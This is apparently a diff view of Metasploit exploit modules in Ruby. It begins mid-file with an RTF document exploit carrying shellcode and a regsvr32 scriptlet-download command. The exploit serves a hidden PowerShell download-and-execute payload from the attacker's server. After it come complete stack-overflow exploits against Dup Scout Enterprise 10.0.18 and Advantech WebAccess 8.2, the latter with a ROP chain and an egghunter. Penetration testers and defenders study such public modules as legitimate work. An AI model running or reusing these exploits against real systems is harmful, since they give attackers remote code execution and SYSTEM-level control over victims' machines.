object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'
|
||||
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
|
||||
object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
|
||||
object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
|
||||
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
object_class << "00000300040000000000000000000000000000000000000000000000000000000"
|
||||
object_class << "000000000000000000000000000000000000000000000000000000000000000\n"
|
||||
|
||||
|
||||
shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0
|
||||
shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al
|
||||
shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax]
|
||||
shellcode << "\x9e" # 6: 9e sahf
|
||||
shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0]
|
||||
shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al
|
||||
shellcode << "\x00\xc8" # f: 00 c8 add al,cl
|
||||
shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi]
|
||||
shellcode << "\\" # 12: 5c pop esp
|
||||
shellcode << "\x00\xc4" # 13: 00 c4 add ah,al
|
||||
shellcode << "\xee" # 15: ee out dx,al
|
||||
shellcode << "[" # 16: 5b pop ebx
|
||||
shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al
|
||||
shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al
|
||||
shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al
|
||||
shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax
|
||||
shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx]
|
||||
shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx]
|
||||
shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl
|
||||
shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44
|
||||
shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678
|
||||
shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx
|
||||
shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax]
|
||||
shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx]
|
||||
shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx]
|
||||
shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c
|
||||
shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx
|
||||
shellcode << "\x53" # 3e: 53 push ebx
|
||||
shellcode << "\x51" # 3f: 51 push ecx
|
||||
shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64
|
||||
shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx
|
||||
shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi]
|
||||
shellcode << "\x53" # 49: 53 push ebx
|
||||
shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c
|
||||
shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax]
|
||||
shellcode << "\x90" # 50: 90 nop
|
||||
shellcode << "\x90" # 50: 90 nop
|
||||
|
||||
footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000'
|
||||
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000000000000400'
|
||||
footer << '0000C5000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
|
||||
footer << '000000000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '000000000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
|
||||
footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000001050000050000000D0000004D45544146494C'
|
||||
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
|
||||
footer << '500000002001C0000000000050000000902000000000500000002'
|
||||
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
|
||||
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
|
||||
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
|
||||
footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
|
||||
footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
|
||||
footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
|
||||
footer << '00030000000000' + "\n"
|
||||
footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
|
||||
footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
|
||||
footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
|
||||
footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
|
||||
footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
|
||||
footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
|
||||
footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
|
||||
footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
|
||||
footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
|
||||
footer << "00000000\n"
|
||||
footer << "}}}\n"
|
||||
footer << '\par}' + "\n"
|
||||
|
||||
|
||||
payload = shellcode
|
||||
payload += [0x00402114].pack("V")
|
||||
payload += "\x00" * 2
|
||||
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
|
||||
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
|
||||
payload = header + object_class + payload + footer
|
||||
payload
|
||||
end
|
||||
|
||||
|
||||
|
||||
def gen_psh(url, *method)
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
|
||||
if method.include? 'string'
|
||||
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
|
||||
else
|
||||
# Random filename to use, if there isn't anything set
|
||||
random = "#{rand_text_alphanumeric 8}.exe"
|
||||
# Set filename (Use random filename if empty)
|
||||
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
|
||||
|
||||
# Set path (Use %TEMP% if empty)
|
||||
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
|
||||
|
||||
# Join Path and Filename
|
||||
file = %Q(echo (#{path}+'\\#{filename}'))
|
||||
|
||||
# Generate download PowerShell command
|
||||
download_string = Rex::Powershell::PshMethods.download_run(url, file)
|
||||
end
|
||||
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
|
||||
# Generate main PowerShell command
|
||||
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
if _request.raw_uri =~ /\.sct$/
|
||||
print_status("Handling request for .sct from #{cli.peerhost}")
|
||||
payload = gen_psh("#{get_uri}", "string")
|
||||
data = gen_sct_file(payload)
|
||||
send_response(cli, data, 'Content-Type' => 'text/plain')
|
||||
else
|
||||
print_status("Delivering payload to #{cli.peerhost}...")
|
||||
p = regenerate_payload(cli)
|
||||
data = cmd_psh_payload(p.encoded,
|
||||
payload_instance.arch.first,
|
||||
remove_comspec: true,
|
||||
exec_in_place: true
|
||||
)
|
||||
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def rand_class_id
|
||||
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
|
||||
end
|
||||
|
||||
|
||||
def gen_sct_file(command)
|
||||
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
|
||||
if command == ''
|
||||
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
|
||||
# If a command is provided, tell the target system to execute it.
|
||||
else
|
||||
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def primer
|
||||
file_create(generate_rtf)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dup Scout Enterprise Login Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in Dup Scout Enterprise
|
||||
10.0.18. The buffer overflow exists via the web interface during
|
||||
login. This gives NT AUTHORITY\SYSTEM access.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Chris Higgins', # msf Module -- @ch1gg1ns
|
||||
'sickness' # Original discovery
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '43145' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x0a\x0d\x25\x26\x2b\x3d"
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Dup Scout Enterprise 10.0.18',
|
||||
{
|
||||
'Ret' => 0x10090c83, # jmp esp - libspp.dll
|
||||
'Offset' => 780
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Nov 14 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([Opt::RPORT(80)])
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /Dup Scout Enterprise v10\.0\.18/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
print_status("Generating exploit...")
|
||||
|
||||
evil = rand_text(target['Offset'])
|
||||
evil << [target.ret].pack('V')
|
||||
evil << make_nops(12)
|
||||
evil << payload.encoded
|
||||
evil << make_nops(10000 - evil.length)
|
||||
|
||||
vprint_status("Evil length: " + evil.length.to_s)
|
||||
|
||||
sploit = "username="
|
||||
sploit << evil
|
||||
sploit << "&password="
|
||||
sploit << rand_text(evil.length)
|
||||
sploit << "\r\n"
|
||||
|
||||
print_status("Triggering the exploit now...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/login',
|
||||
'method' => 'POST',
|
||||
'content-type' => 'application/x-www-form-urlencoded',
|
||||
'content-length' => '17000',
|
||||
'data' => sploit
|
||||
})
|
||||
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,141 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Egghunter
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
|
||||
By sending a specially crafted DCERPC request, an attacker could overflow
|
||||
the buffer and execute arbitrary code.
|
||||
},
|
||||
'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'ZDI', '17-938' ],
|
||||
[ 'CVE', '2017-14016' ],
|
||||
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
|
||||
{
|
||||
'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14
|
||||
'Slide' => 0x07048f5b, # retn
|
||||
'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Nov 02 2017',
|
||||
'DefaultTarget' => 0))
|
||||
register_options([ Opt::RPORT(4592)])
|
||||
end
|
||||
|
||||
def create_rop_chain()
|
||||
|
||||
# this target opts into dep
|
||||
rop_gadgets =
|
||||
[
|
||||
0x020214c6, # POP EAX # RETN [BwKrlAPI.dll]
|
||||
0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
|
||||
0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
|
||||
0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]
|
||||
0x0201a646, # POP EBP # RETN [BwKrlAPI.dll]
|
||||
0x07024822, # & push esp # ret [BwPAlarm.dll]
|
||||
0x070442dd, # POP EAX # RETN [BwPAlarm.dll]
|
||||
0xffffffff, # Value to negate, will become 0x00000001
|
||||
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
|
||||
0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
|
||||
rand_text_alpha(4).unpack('V'),
|
||||
rand_text_alpha(4).unpack('V'),
|
||||
rand_text_alpha(4).unpack('V'),
|
||||
0x02030af7, # POP EAX # RETN [BwKrlAPI.dll]
|
||||
0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)
|
||||
0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]
|
||||
0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]
|
||||
0x07078df5, # POP EAX # RETN [BwPAlarm.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
|
||||
0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
|
||||
0x0706fe66, # POP EDI # RETN [BwPAlarm.dll]
|
||||
rand_text_alpha(4).unpack('V'),
|
||||
rand_text_alpha(4).unpack('V'),
|
||||
0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]
|
||||
0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]
|
||||
0x90909090, # nop
|
||||
0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]
|
||||
].flatten.pack("V*")
|
||||
return rop_gadgets
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
||||
print_status("Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
# send the request to get the handle
|
||||
resp = dcerpc.call(0x4, [0x02000000].pack('V'))
|
||||
handle = resp.last(4).unpack('V').first
|
||||
print_good("Got a handle: 0x%08x" % handle)
|
||||
egg_options = { :eggtag => "0day" }
|
||||
egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)
|
||||
|
||||
# apparently this is called a ret chain
|
||||
overflow = [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Jmp']].pack('V')
|
||||
overflow << [target['Ret']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << [target['Slide']].pack('V')
|
||||
overflow << create_rop_chain()
|
||||
overflow << egghunter
|
||||
overflow << egg
|
||||
overflow << rand_text_alpha(0x1000-overflow.length)
|
||||
|
||||
# sorry but I dont like msf's ndr class.
|
||||
sploit = [handle].pack('V')
|
||||
sploit << [0x000138bd].pack('V') # opcode we are attacking
|
||||
sploit << [0x00001000].pack('V') # size to copy
|
||||
sploit << [0x00001000].pack('V') # size of string
|
||||
sploit << overflow
|
||||
print_status("Trying target #{target.name}...")
|
||||
begin
|
||||
dcerpc_call(0x1, sploit)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
handler
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue